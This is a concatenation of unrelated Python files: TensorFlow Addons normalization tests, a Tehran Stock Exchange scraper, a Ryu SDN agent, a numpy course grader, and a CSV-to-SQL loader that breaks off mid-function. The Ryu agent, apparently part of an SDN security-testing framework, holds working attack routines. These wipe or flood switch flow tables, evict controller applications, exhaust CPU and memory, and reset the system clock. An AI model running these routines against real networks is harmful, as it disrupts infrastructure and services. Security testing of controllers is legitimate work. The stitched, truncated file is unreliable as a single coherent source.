import pytest
import numpy as np
import tensorflow as tf

from tensorflow_addons.layers.normalizations import FilterResponseNormalization
from tensorflow_addons.layers.normalizations import GroupNormalization
from tensorflow_addons.layers.normalizations import InstanceNormalization

# ------------Tests to ensure proper inheritance. If these suceed you can
# test for Instance norm by setting Groupnorm groups = -1
def test_inheritance():
    assert issubclass(InstanceNormalization, GroupNormalization)
    assert InstanceNormalization.build == GroupNormalization.build
    assert InstanceNormalization.call == GroupNormalization.call

def test_groups_after_init():
    layers = InstanceNormalization()
    assert layers.groups == -1

def test_weights():
    # Check if weights get initialized correctly
    layer = GroupNormalization(groups=1, scale=False, center=False)
    layer.build((None, 3, 4))
    assert len(layer.trainable_weights) == 0
    assert len(layer.weights) == 0

    layer = InstanceNormalization()
    layer.build((None, 3, 4))
    assert len(layer.trainable_weights) == 2
    assert len(layer.weights) == 2

def test_apply_normalization():
    input_shape = (1, 4)
    reshaped_inputs = tf.constant([[[2.0, 2.0], [3.0, 3.0]]])
    layer = GroupNormalization(groups=2, axis=1, scale=False, center=False)
    normalized_input = layer._apply_normalization(reshaped_inputs, input_shape)
    np.testing.assert_equal(normalized_input, np.array([[[0.0, 0.0], [0.0, 0.0]]]))

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_reshape():
    def run_reshape_test(axis, group, input_shape, expected_shape):
        group_layer = GroupNormalization(groups=group, axis=axis)
        group_layer._set_number_of_groups_for_instance_norm(input_shape)

        inputs = np.ones(input_shape)
        tensor_input_shape = tf.convert_to_tensor(input_shape)
        reshaped_inputs, group_shape = group_layer._reshape_into_groups(
            inputs, (10, 10, 10), tensor_input_shape
        )
        for i in range(len(expected_shape)):
            assert group_shape[i] == expected_shape[i]

    input_shape = (10, 10, 10)
    expected_shape = [10, 10, 5, 2]
    run_reshape_test(2, 5, input_shape, expected_shape)

    input_shape = (10, 10, 10)
    expected_shape = [10, 2, 5, 10]
    run_reshape_test(1, 2, input_shape, expected_shape)

    input_shape = (10, 10, 10)
    expected_shape = [10, 10, 10]
    run_reshape_test(1, -1, input_shape, expected_shape)

    input_shape = (10, 10, 10)
    expected_shape = [10, 1, 10, 10]
    run_reshape_test(1, 1, input_shape, expected_shape)

@pytest.mark.parametrize("center", [True, False])
@pytest.mark.parametrize("scale", [True, False])
def test_feature_input(center, scale):
    shape = (10, 100)
    for groups in [-1, 1, 2, 5]:
        _test_random_shape_on_all_axis_except_batch(shape, groups, center, scale)

@pytest.mark.parametrize("center", [True, False])
@pytest.mark.parametrize("scale", [True, False])
def test_picture_input(center, scale):
    shape = (10, 30, 30, 3)
    for groups in [-1, 1, 3]:
        _test_random_shape_on_all_axis_except_batch(shape, groups, center, scale)

def _test_random_shape_on_all_axis_except_batch(shape, groups, center, scale):
    inputs = tf.random.normal(shape)
    for axis in range(1, len(shape)):
        _test_specific_layer(inputs, axis, groups, center, scale)

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def _test_specific_layer(inputs, axis, groups, center, scale):

    input_shape = inputs.shape

    # Get Output from Keras model
    layer = GroupNormalization(axis=axis, groups=groups, center=center, scale=scale)
    model = tf.keras.models.Sequential()
    model.add(layer)
    outputs = model.predict(inputs, steps=1)
    assert not np.isnan(outputs).any()

    is_instance_norm = False
    # Create shapes
    if groups == -1:
        groups = input_shape[axis]
    if (input_shape[axis] // groups) == 1:
        is_instance_norm = True
    np_inputs = inputs
    reshaped_dims = list(np_inputs.shape)
    if not is_instance_norm:
        reshaped_dims[axis] = reshaped_dims[axis] // groups
        reshaped_dims.insert(axis, groups)
        reshaped_inputs = np.reshape(np_inputs, tuple(reshaped_dims))
    else:
        reshaped_inputs = np_inputs

    group_reduction_axes = list(range(1, len(reshaped_dims)))
    if not is_instance_norm:
        axis = -2 if axis == -1 else axis - 1
    else:
        axis = -1 if axis == -1 else axis - 1
    group_reduction_axes.pop(axis)

    # Calculate mean and variance
    mean = np.mean(reshaped_inputs, axis=tuple(group_reduction_axes), keepdims=True)
    variance = np.var(reshaped_inputs, axis=tuple(group_reduction_axes), keepdims=True)

    # Get gamma and beta initalized by layer
    gamma, beta = layer._get_reshaped_weights(input_shape)
    if gamma is None:
        gamma = 1.0
    if beta is None:
        beta = 0.0

    # Get ouput from Numpy
    zeroed = reshaped_inputs - mean
    rsqrt = 1 / np.sqrt(variance + 1e-5)
    output_test = gamma * zeroed * rsqrt + beta

    # compare outputs
    output_test = tf.reshape(output_test, input_shape)
    np.testing.assert_almost_equal(tf.reduce_mean(output_test - outputs), 0, decimal=7)

def _create_and_fit_sequential_model(layer, shape):
    # Helperfunction for quick evaluation
    np.random.seed(0x2020)
    model = tf.keras.models.Sequential()
    model.add(layer)
    model.add(tf.keras.layers.Dense(32))
    model.add(tf.keras.layers.Dense(1))

    model.compile(
        optimizer=tf.keras.optimizers.RMSprop(0.01), loss="categorical_crossentropy"
    )
    layer_shape = (10,) + shape
    input_batch = np.random.rand(*layer_shape)
    output_batch = np.random.rand(*(10, 1))
    model.fit(x=input_batch, y=output_batch, epochs=1, batch_size=1)
    return model

def test_groupnorm_flat():
    # Check basic usage of groupnorm_flat
    # Testing for 1 == LayerNorm, 16 == GroupNorm, -1 == InstanceNorm

    groups = [-1, 16, 1]
    shape = (64,)
    for i in groups:
        model = _create_and_fit_sequential_model(GroupNormalization(groups=i), shape)
        assert hasattr(model.layers[0], "gamma")
        assert hasattr(model.layers[0], "beta")

def test_instancenorm_flat():
    # Check basic usage of instancenorm
    model = _create_and_fit_sequential_model(InstanceNormalization(), (64,))
    assert hasattr(model.layers[0], "gamma")
    assert hasattr(model.layers[0], "beta")

def test_initializer():
    # Check if the initializer for gamma and beta is working correctly
    layer = GroupNormalization(
        groups=32,
        beta_initializer="random_normal",
        beta_constraint="NonNeg",
        gamma_initializer="random_normal",
        gamma_constraint="NonNeg",
    )

    model = _create_and_fit_sequential_model(layer, (64,))

    weights = np.array(model.layers[0].get_weights())
    negativ = weights[weights < 0.0]
    assert len(negativ) == 0

def test_axis_error():
    with pytest.raises(ValueError):
        GroupNormalization(axis=0)

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_groupnorm_conv():
    # Check if Axis is working for CONV nets
    # Testing for 1 == LayerNorm, 5 == GroupNorm, -1 == InstanceNorm
    np.random.seed(0x2020)
    groups = [-1, 5, 1]
    for i in groups:
        model = tf.keras.models.Sequential()
        model.add(GroupNormalization(axis=1, groups=i, input_shape=(20, 20, 3)))
        model.add(tf.keras.layers.Conv2D(5, (1, 1), padding="same"))
        model.add(tf.keras.layers.Flatten())
        model.add(tf.keras.layers.Dense(1, activation="softmax"))
        model.compile(optimizer=tf.keras.optimizers.RMSprop(0.01), loss="mse")
        x = np.random.randint(1000, size=(10, 20, 20, 3))
        y = np.random.randint(1000, size=(10, 1))
        model.fit(x=x, y=y, epochs=1)
        assert hasattr(model.layers[0], "gamma")

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_regularizations():
    layer = GroupNormalization(
        gamma_regularizer="l1", beta_regularizer="l1", groups=4, axis=2
    )
    layer.build((None, 4, 4))
    assert len(layer.losses) == 2
    max_norm = tf.keras.constraints.max_norm
    layer = GroupNormalization(
        groups=2, gamma_constraint=max_norm, beta_constraint=max_norm
    )
    layer.build((None, 3, 4))
    assert layer.gamma.constraint == max_norm
    assert layer.beta.constraint == max_norm

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_groupnorm_correctness_1d():
    np.random.seed(0x2020)
    model = tf.keras.models.Sequential()
    norm = GroupNormalization(input_shape=(10,), groups=2)
    model.add(norm)
    model.compile(loss="mse", optimizer="rmsprop")

    x = np.random.normal(loc=5.0, scale=10.0, size=(1000, 10))
    model.fit(x, x, epochs=5, verbose=0)
    out = model.predict(x)
    out -= norm.beta.numpy()
    out /= norm.gamma.numpy()

    np.testing.assert_allclose(out.mean(), 0.0, atol=1e-1)
    np.testing.assert_allclose(out.std(), 1.0, atol=1e-1)

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_groupnorm_2d_different_groups():
    np.random.seed(0x2020)
    groups = [2, 1, 10]
    for i in groups:
        model = tf.keras.models.Sequential()
        norm = GroupNormalization(axis=1, groups=i, input_shape=(10, 3))
        model.add(norm)
        # centered and variance are 5.0 and 10.0, respectively
        model.compile(loss="mse", optimizer="rmsprop")
        x = np.random.normal(loc=5.0, scale=10.0, size=(1000, 10, 3))
        model.fit(x, x, epochs=5, verbose=0)
        out = model.predict(x)
        out -= np.reshape(norm.beta.numpy(), (1, 10, 1))
        out /= np.reshape(norm.gamma.numpy(), (1, 10, 1))

        np.testing.assert_allclose(
            out.mean(axis=(0, 1), dtype=np.float32), (0.0, 0.0, 0.0), atol=1e-1
        )
        np.testing.assert_allclose(
            out.std(axis=(0, 1), dtype=np.float32), (1.0, 1.0, 1.0), atol=1e-1
        )

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_groupnorm_convnet():
    np.random.seed(0x2020)
    model = tf.keras.models.Sequential()
    norm = GroupNormalization(axis=1, input_shape=(3, 4, 4), groups=3)
    model.add(norm)
    model.compile(loss="mse", optimizer="sgd")

    # centered = 5.0, variance  = 10.0
    x = np.random.normal(loc=5.0, scale=10.0, size=(1000, 3, 4, 4))
    model.fit(x, x, epochs=4, verbose=0)
    out = model.predict(x)
    out -= np.reshape(norm.beta.numpy(), (1, 3, 1, 1))
    out /= np.reshape(norm.gamma.numpy(), (1, 3, 1, 1))

    np.testing.assert_allclose(
        np.mean(out, axis=(0, 2, 3), dtype=np.float32), (0.0, 0.0, 0.0), atol=1e-1
    )
    np.testing.assert_allclose(
        np.std(out, axis=(0, 2, 3), dtype=np.float32), (1.0, 1.0, 1.0), atol=1e-1
    )

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_groupnorm_convnet_no_center_no_scale():
    np.random.seed(0x2020)
    model = tf.keras.models.Sequential()
    norm = GroupNormalization(
        axis=-1, groups=2, center=False, scale=False, input_shape=(3, 4, 4)
    )
    model.add(norm)
    model.compile(loss="mse", optimizer="sgd")
    # centered and variance are  5.0 and 10.0, respectively
    x = np.random.normal(loc=5.0, scale=10.0, size=(1000, 3, 4, 4))
    model.fit(x, x, epochs=4, verbose=0)
    out = model.predict(x)

    np.testing.assert_allclose(
        np.mean(out, axis=(0, 2, 3), dtype=np.float32), (0.0, 0.0, 0.0), atol=1e-1
    )
    np.testing.assert_allclose(
        np.std(out, axis=(0, 2, 3), dtype=np.float32), (1.0, 1.0, 1.0), atol=1e-1
    )

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("center", [True, False])
@pytest.mark.parametrize("scale", [True, False])
def test_group_norm_compute_output_shape(center, scale):

    target_variables_len = [center, scale].count(True)
    target_trainable_variables_len = [center, scale].count(True)
    layer1 = GroupNormalization(groups=2, center=center, scale=scale)
    layer1.build(input_shape=[8, 28, 28, 16])  # build()
    assert len(layer1.variables) == target_variables_len
    assert len(layer1.trainable_variables) == target_trainable_variables_len

    layer2 = GroupNormalization(groups=2, center=center, scale=scale)
    layer2.compute_output_shape(input_shape=[8, 28, 28, 16])  # compute_output_shape()
    assert len(layer2.variables) == target_variables_len
    assert len(layer2.trainable_variables) == target_trainable_variables_len

    layer3 = GroupNormalization(groups=2, center=center, scale=scale)
    layer3(tf.random.normal(shape=[8, 28, 28, 16]))  # call()
    assert len(layer3.variables) == target_variables_len
    assert len(layer3.trainable_variables) == target_trainable_variables_len

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("center", [True, False])
@pytest.mark.parametrize("scale", [True, False])
def test_instance_norm_compute_output_shape(center, scale):

    target_variables_len = [center, scale].count(True)
    target_trainable_variables_len = [center, scale].count(True)
    layer1 = InstanceNormalization(groups=2, center=center, scale=scale)
    layer1.build(input_shape=[8, 28, 28, 16])  # build()
    assert len(layer1.variables) == target_variables_len
    assert len(layer1.trainable_variables) == target_trainable_variables_len

    layer2 = InstanceNormalization(groups=2, center=center, scale=scale)
    layer2.compute_output_shape(input_shape=[8, 28, 28, 16])  # compute_output_shape()
    assert len(layer2.variables) == target_variables_len
    assert len(layer2.trainable_variables) == target_trainable_variables_len

    layer3 = InstanceNormalization(groups=2, center=center, scale=scale)
    layer3(tf.random.normal(shape=[8, 28, 28, 16]))  # call()
    assert len(layer3.variables) == target_variables_len
    assert len(layer3.trainable_variables) == target_trainable_variables_len

def calculate_frn(
    x, beta=0.2, gamma=1, eps=1e-6, learned_epsilon=False, dtype=np.float32
):
    if learned_epsilon:
        eps = eps + 1e-4
    eps = tf.cast(eps, dtype=dtype)
    nu2 = tf.reduce_mean(tf.square(x), axis=[1, 2], keepdims=True)
    x = x * tf.math.rsqrt(nu2 + tf.abs(eps))
    return gamma * x + beta

def set_random_seed():
    seed = 0x2020
    np.random.seed(seed)
    tf.random.set_seed(seed)

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_with_beta(dtype):
    set_random_seed()
    inputs = np.random.rand(28, 28, 1).astype(dtype)
    inputs = np.expand_dims(inputs, axis=0)
    frn = FilterResponseNormalization(
        beta_initializer="ones", gamma_initializer="ones", dtype=dtype
    )
    frn.build((None, 28, 28, 1))
    observed = frn(inputs)
    expected = calculate_frn(inputs, beta=1, gamma=1, dtype=dtype)
    np.testing.assert_allclose(expected[0], observed[0])

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_with_gamma(dtype):
    set_random_seed()
    inputs = np.random.rand(28, 28, 1).astype(dtype)
    inputs = np.expand_dims(inputs, axis=0)
    frn = FilterResponseNormalization(
        beta_initializer="zeros", gamma_initializer="ones", dtype=dtype
    )
    frn.build((None, 28, 28, 1))
    observed = frn(inputs)
    expected = calculate_frn(inputs, beta=0, gamma=1, dtype=dtype)
    np.testing.assert_allclose(expected[0], observed[0])

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_with_epsilon(dtype):
    set_random_seed()
    inputs = np.random.rand(28, 28, 1).astype(dtype)
    inputs = np.expand_dims(inputs, axis=0)
    frn = FilterResponseNormalization(
        beta_initializer=tf.keras.initializers.Constant(0.5),
        gamma_initializer="ones",
        learned_epsilon=True,
        dtype=dtype,
    )
    frn.build((None, 28, 28, 1))
    observed = frn(inputs)
    expected = calculate_frn(
        inputs, beta=0.5, gamma=1, learned_epsilon=True, dtype=dtype
    )
    np.testing.assert_allclose(expected[0], observed[0])

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_keras_model(dtype):
    set_random_seed()
    frn = FilterResponseNormalization(
        beta_initializer="ones", gamma_initializer="ones", dtype=dtype
    )
    random_inputs = np.random.rand(10, 32, 32, 3).astype(dtype)
    random_labels = np.random.randint(2, size=(10,)).astype(dtype)
    input_layer = tf.keras.layers.Input(shape=(32, 32, 3))
    x = frn(input_layer)
    x = tf.keras.layers.Flatten()(x)
    out = tf.keras.layers.Dense(1, activation="sigmoid")(x)
    model = tf.keras.models.Model(input_layer, out)
    model.compile(loss="binary_crossentropy", optimizer="sgd")
    model.fit(random_inputs, random_labels, epochs=2)

@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_serialization(dtype):
    frn = FilterResponseNormalization(
        beta_initializer="ones", gamma_initializer="ones", dtype=dtype
    )
    serialized_frn = tf.keras.layers.serialize(frn)
    new_layer = tf.keras.layers.deserialize(serialized_frn)
    assert frn.get_config() == new_layer.get_config()

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
@pytest.mark.parametrize("dtype", [np.float16, np.float32, np.float64])
def test_eps_gards(dtype):
    set_random_seed()
    random_inputs = np.random.rand(10, 32, 32, 3).astype(np.float32)
    random_labels = np.random.randint(2, size=(10,)).astype(np.float32)
    input_layer = tf.keras.layers.Input(shape=(32, 32, 3))
    frn = FilterResponseNormalization(
        beta_initializer="ones", gamma_initializer="ones", learned_epsilon=True
    )
    initial_eps_value = frn.eps_learned.numpy()[0]
    x = frn(input_layer)
    x = tf.keras.layers.Flatten()(x)
    out = tf.keras.layers.Dense(1, activation="sigmoid")(x)
    model = tf.keras.models.Model(input_layer, out)
    model.compile(loss="binary_crossentropy", optimizer="sgd")
    model.fit(random_inputs, random_labels, epochs=1)
    final_eps_value = frn.eps_learned.numpy()[0]
    assert initial_eps_value != final_eps_value

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_filter_response_normalization_save(tmpdir):
    input_layer = tf.keras.layers.Input(shape=(32, 32, 3))
    frn = FilterResponseNormalization()(input_layer)
    model = tf.keras.Model(input_layer, frn)
    filepath = str(tmpdir / "test.h5")
    model.save(filepath, save_format="h5")
    filepath = str(tmpdir / "test")
    model.save(filepath, save_format="tf")

@pytest.mark.usefixtures("maybe_run_functions_eagerly")
def test_filter_response_norm_compute_output_shape():
    target_variables_len = 2
    target_trainable_variables_len = 2
    layer1 = FilterResponseNormalization()
    layer1.build(input_shape=[8, 28, 28, 16])  # build()
    assert len(layer1.variables) == target_variables_len
    assert len(layer1.trainable_variables) == target_trainable_variables_len

    layer2 = FilterResponseNormalization()
    layer2.compute_output_shape(input_shape=[8, 28, 28, 16])  # compute_output_shape()
    assert len(layer2.variables) == target_variables_len
    assert len(layer2.trainable_variables) == target_trainable_variables_len

    layer3 = FilterResponseNormalization()
    layer3(tf.random.normal(shape=[8, 28, 28, 16]))  # call()
    assert len(layer3.variables) == target_variables_len
    assert len(layer3.trainable_variables) == target_trainable_variables_len


import requests
import pandas as pd
from persiantools.jdatetime import JalaliDate
from persiantools import characters
import re

# headers
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
# define a base url
base_url = 'http://cdn.tsetmc.com/api/'

def __Get_TSE_WebID__(stock):
    # search TSE function ------------------------------------------------------------------------------------------------------------
    def request(name):
        page = requests.get(f'http://old.tsetmc.com/tsev2/data/search.aspx?skey={name}', headers=headers)
        data = []
        for i in page.text.split(';') :
            try :
                i = i.split(',')
                data.append([i[0],i[1],i[2],i[7],i[-1]])
            except :
                pass
        data = pd.DataFrame(data, columns=['Ticker','Name','WEB-ID','Active','Market'])
        data['Name'] = data['Name'].apply(lambda x : characters.ar_to_fa(' '.join([i.strip() for i in x.split('\u200c')]).strip()))
        data['Ticker'] = data['Ticker'].apply(lambda x : characters.ar_to_fa(''.join(x.split('\u200c')).strip()))
        data['Name-Split'] = data['Name'].apply(lambda x : ''.join(x.split()).strip())
        data['Symbol-Split'] = data['Ticker'].apply(lambda x : ''.join(x.split()).strip())
        data['Active'] = pd.to_numeric(data['Active'])
        data = data.sort_values('Ticker')
        data = pd.DataFrame(data[['Name','WEB-ID','Name-Split','Symbol-Split','Market']].values, columns=['Name','WEB-ID',
                            'Name-Split','Symbol-Split','Market'], index=pd.MultiIndex.from_frame(data[['Ticker','Active']]))
        return data
    #---------------------------------------------------------------------------------------------------------------------------------
    if type(stock) != str:
        print('Please Enetr a Valid Ticker or Name!')
        return False
    if(stock=='آ س پ'):
        stock = 'آ.س.پ'
    # cleaning input search key
    stock = characters.ar_to_fa(''.join(stock.split('\u200c')).strip())
    first_name = stock.split()[0]
    stock = ''.join(stock.split())
    # search TSE and process:
    data = request(first_name)
    df_symbol = data[data['Symbol-Split'] == stock]
    df_name = data[data['Name-Split'] == stock]
    if len(df_symbol) > 0 :
        df_symbol = df_symbol.sort_index(level=1,ascending=False).drop(['Name-Split','Symbol-Split'], axis=1)
        df_symbol['Market'] = df_symbol['Market'].apply(lambda x: re.sub('[0-9]', '', x))
        df_symbol['Market'] = df_symbol['Market'].map({'N':'بورس', 'Z':'فرابورس', 'D':'فرابورس', 'A':'پایه زرد', 'P':'پایه زرد', 'C':'پایه نارنجی', 'L':'پایه قرمز',
                                                       'W':'کوچک و متوسط فرابورس', 'V':'کوچک و متوسط فرابورس',})
        df_symbol['Market'] = df_symbol['Market'].fillna('نامعلوم')
        return df_symbol
    elif len(df_name) > 0 :
        symbol = df_name.index[0][0]
        data = request(symbol)
        symbol = characters.ar_to_fa(''.join(symbol.split('\u200c')).strip())
        df_symbol = data[data.index.get_level_values('Ticker') == symbol]
        if len(df_symbol) > 0 :
            df_symbol = df_symbol.sort_index(level=1,ascending=False).drop(['Name-Split','Symbol-Split'], axis=1)
            df_symbol['Market'] = df_symbol['Market'].apply(lambda x: re.sub('[0-9]', '', x))
            df_symbol['Market'] = df_symbol['Market'].map({'N':'بورس', 'Z':'فرابورس', 'D':'فرابورس', 'A':'پایه زرد', 'P':'پایه زرد', 'C':'پایه نارنجی', 'L':'پایه قرمز',
                                                           'W':'کوچک و متوسط فرابورس', 'V':'کوچک و متوسط فرابورس',})
            df_symbol['Market'] = df_symbol['Market'].fillna('نامعلوم')
            return df_symbol
    print('Please Enetr a Valid Ticker or Name!')
    return False

def get_stock_code(stock_name: str):
    return __Get_TSE_WebID__(stock_name)['WEB-ID'][0]

def buy_sell_history(stock_name: str):
    stock_code = __Get_TSE_WebID__(stock_name)['WEB-ID'][0]
    if (type(stock_code) == bool):
        return stock_code
    try:
        response = requests.get(base_url + 'BestLimits/' + str(stock_code), headers=headers)
        # convert to pandas dataframe
        df = pd.DataFrame(response.json()['bestLimits'])
        return df
    except Exception as e:
        return 'Error: ' + str(e)

def closing_price(stock_name: str):
    stock_code = __Get_TSE_WebID__(stock_name)['WEB-ID'][0]
    if (type(stock_code) == bool):
        return stock_code
    try:
        response = requests.get(base_url + 'ClosingPrice/GetClosingPriceInfo/' + str(stock_code), headers=headers)
        response = response.json()
        response['closingPriceInfo'].pop('instrumentState')
        return pd.DataFrame(response['closingPriceInfo'], index=[0])
    except Exception as e:
        return 'Error: ' + str(e)

def client_type(stock_name: str):
    stock_code = __Get_TSE_WebID__(stock_name)['WEB-ID'][0]
    if (type(stock_code) == bool):
        return stock_code
    try:
        response = requests.get(base_url + 'ClientType/GetClientType/' + str(stock_code) + '/1/0', headers=headers)
        return pd.DataFrame(response.json()['clientType'], index=[0])
    except Exception as e:
        return 'Error: ' + str(e)

def get_time():
    try:
        response = requests.get(base_url + 'StaticData/GetTime', headers=headers)

        jalali_date = JalaliDate.to_jalali(pd.to_datetime(response.text, utc=True).tz_convert('Asia/Tehran')).strftime('%Y/%m/%d')
        time = pd.to_datetime(response.text, utc=True).tz_convert('Asia/Tehran').time().strftime('%H:%M:%S')
        return (jalali_date , time)

        # return response.text
    except Exception as e:
        return 'Error: ' + str(e)


from threading import Thread
from ryu.base import app_manager
from am_interface import AMInterface
from ryu.controller import ofp_event
from ryu.controller.handler import CONFIG_DISPATCHER, MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls
from ryu.lib.packet import packet
from ryu.lib.packet import ethernet
from ryu.controller import dpset
from ryu.ofproto import ofproto_v1_3
import sys, os
import array
import itertools

class AppAgent13(app_manager.RyuApp):
    OFP_VERSIONS = [ofproto_v1_3.OFP_VERSION]
    _CONTEXTS = {
        'dpset': dpset.DPSet
    }

    def __init__(self, *args, **kwargs):
        super(AppAgent13, self).__init__(*args, **kwargs)
        self.dpset = kwargs['dpset']
        self.drop = 0
        self.clear = 0
        self.msg = None

        # Run AMInterface Thread
        ami = AMInterface(self, self.logger)
        server_address = ami.setServerAddr()
        t = Thread(target=ami.connectServer, args=(server_address,))
        t.start()
        self.logger.info("[App-Agent] Starting AppAgent on Ryu")

    # 3.1.020
    # TODO: N/A
    def testControlMessageDrop(self):
        self.logger.info("[ATTACK] Start Control Message Drop")
        return "[AppAgent] N/A"

    # 3.1.030
    def testInfiniteLoops(self):
        self.logger.info("[ATTACK] Start Infinite Loop")
        self.callInfiniteLoops()

    # Start Loop
    def callInfiniteLoops(self):
        i = 0

        while i < 32767:
            i = i + 1

            if i == 32766:
                i = 0

    # 3.1.040
    # TODO: N/A
    def testInternalStorageAbuse(self):
        self.logger.info("[ATTACK] Start Internal Storage Abuse")
        del self.dpset.dps
        return "[AppAgent] N/A"

    # 3.1.070
    def testFlowRuleModification(self):
        self.logger.info("[ATTACK] Start Flow Rule Modification")

        for dp in self.dpset.dps.values():
            match = dp.ofproto_parser.OFPMatch()
            actions = []
            inst = [dp.ofproto_parser.OFPInstructionActions(dp.ofproto.OFPIT_APPLY_ACTIONS, actions)]
            flow_mod = dp.ofproto_parser.OFPFlowMod(datapath=dp, match=match, cookie=0,
                                                    out_port=dp.ofproto.OFPP_ANY,
                                                    out_group=dp.ofproto.OFPG_ANY,
                                                    instructions=inst,
                                                    command=dp.ofproto.OFPFC_MODIFY)
            dp.send_msg(flow_mod)
            self.logger.info("[App-Agent] Sending a OF FlowMod message '%s' to switch '%s'" % (str(flow_mod), str(dp.id)))

        result = "success|" + str(flow_mod)
        return result

    # 3.1.080
    def testFlowTableClearance(self):
        self.logger.info("[ATTACK] Start Flow Table Clearance")
        self.callFlowTableClearance()
        self.clear = 1

    def callFlowTableClearance(self):
        for dp in self.dpset.dps.values():
            match = dp.ofproto_parser.OFPMatch()
            flow_mod = dp.ofproto_parser.OFPFlowMod(datapath=dp, match=match, cookie=0,
                                                    out_port=dp.ofproto.OFPP_ANY,

                                                    out_group=dp.ofproto.OFPG_ANY,
                                                    command=dp.ofproto.OFPFC_DELETE)
            dp.send_msg(flow_mod)

    # 3.1.090
    def testEventListenerUnsubscription(self):
        self.logger.info("[ATTACK] Event Listener Unsubscription")
        app_name = "SimpleSwitch13"
        app_mgr = app_manager.AppManager.get_instance()
        ev_c, state_c = app_mgr.applications[app_name].events.get()
        handlers = app_mgr.applications[app_name].get_handlers(ev_c, state_c)
        for handler in handlers:
            if "_packet_in_handler" in str(handler):
                app_mgr.applications[app_name].unregister_handler(ofp_event.EventOFPPacketIn, handler)
        return "EventOFPPacketIn Message"

    # 3.1.100
    def testApplicationEviction(self):
        self.logger.info("[ATTACK] Application Eviction")
        app_name = "SimpleSwitch13"
        app_mgr = app_manager.AppManager.get_instance()
        app_mgr.uninstantiate(app_name)
        return app_name

    # 3.1.110
    # TODO: this result is pass. why?, My test result is fail.
    def testMemoryExhaustion(self):
        self.logger.info("[ATTACK] Memory Exhaustion")
        array.array('B', itertools.repeat(0, sys.maxint))

    # 3.1.120
    def testCPUExhaustion(self):
        self.logger.info("[ATTACK] CPU Exhaustion")
        for i in range(0, 10000):
            t = Thread(target=self.CPUThread)
            t.start()

    # dummy thread
    def CPUThread(self):
        x = 0
        while True:
            x = x + 1

    # 3.1.130
    # TODO: permission
    def testSystemVariableManipulation(self):
        self.logger.info("[ATTACK] System Variable Manipulation")
        os.system("date -s '1 JAN 1999'")

    # 3.1.140
    def testSystemCommandExecution(self):
        self.logger.info("[ATTACK] System Command Execution")
        sys.exit(1)

    # 3.1.190
    def testFlowRuleFlooding(self):
        self.logger.info("[ATTACK] Flow Rule Flooding")
        for dp in self.dpset.dps.values():
            count = 10
            while count < 25000:
                match = dp.ofproto_parser.OFPMatch(eth_dst=count)
                flow_mod = dp.ofproto_parser.OFPFlowMod(datapath=dp,
                                                        match=match)
                dp.send_msg(flow_mod)
                count = count + 1

    # 3.1.200
    # TODO: X, Ryu process to install rules with MAC address
    def testSwitchFirmwareMisuse(self):
        self.logger.info("[ATTACK] Switch Firmware Misuse")
        return "[AppAgent] X"

    # 2.1.060
    def testUnFlaggedFlowRemoveMsgNotification(self):
        return "PASS"

    @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)
    def packetIn_handler(self, ev):
        self.msg = ev.msg

        if self.drop:
            self.callControlMessageDrop()
        if self.clear:
            self.callFlowTableClearance()

if __name__ == "__main__":
    a = AppAgent13()


#!/usr/bin/env python3

import unittest
from unittest.mock import patch

import numpy as np

from tmc import points

from tmc.utils import load, get_stdout

module_name="src.rows_and_columns"
get_rows = load(module_name, "get_rows")
get_columns = load(module_name, "get_columns")

@points('p02-11.1')
class RowsAndColumns(unittest.TestCase):

    def test_row_types(self):
        a=np.random.randint(0,10, (4,5))
        rows=get_rows(a)
        self.assertIsInstance(rows, list, msg="The function get_rows should return a list!")
        self.assertEqual(len(rows), 4, msg="Incorrect number of elements in list")
        for row in rows:
            self.assertIsInstance(row, np.ndarray, msg="The list elements should be arrays!")

    def test_columns_types(self):
        a=np.random.randint(0,10, (4,5))
        columns=get_columns(a)
        self.assertIsInstance(columns, list, msg="The function get_columnss should return a list!")
        self.assertEqual(len(columns), 5, msg="Incorrect number of elements in list")
        for column in columns:
            self.assertIsInstance(column, np.ndarray, msg="The list elements should be arrays!")

    def test_row_content(self):
        n=4
        m=5
        a=np.random.randint(0,10, (n,m))
        rows=get_rows(a)
        self.assertEqual(len(rows), n, msg="Incorrect number of elements in list")
        for ri, row in enumerate(rows):
            self.assertEqual(row.shape, (m,), msg="Incorrect shape!")
            for ci in range(m):
                self.assertEqual(a[ri, ci], row[ci], msg="Incorrect value at (%i,%i)!" % (ri,ci))

    def test_column_content(self):
        n=4
        m=5
        a=np.random.randint(0,10, (n,m))
        columns=get_columns(a)
        self.assertEqual(len(columns), m, msg="Incorrect number of elements in list")
        for ci, column in enumerate(columns):
            self.assertEqual(column.shape, (n,), msg="Incorrect shape!")
            for ri in range(n):
                self.assertEqual(a[ri, ci], column[ri], msg="Incorrect value at (%i,%i)!" % (ri,ci))

if __name__ == '__main__':
    unittest.main()


import os
import pandas as pd
from sqlalchemy import create_engine
from sqlalchemy.types import Integer,VARCHAR,DATE,Float,BIGINT,TIME
def data_loading(file_name,type='replace',disp=False):
    with open(file_name,'r') as file:
        f=file.readlines()

        final_data=[]
        for index,data in enumerate(f):
            if index==2:
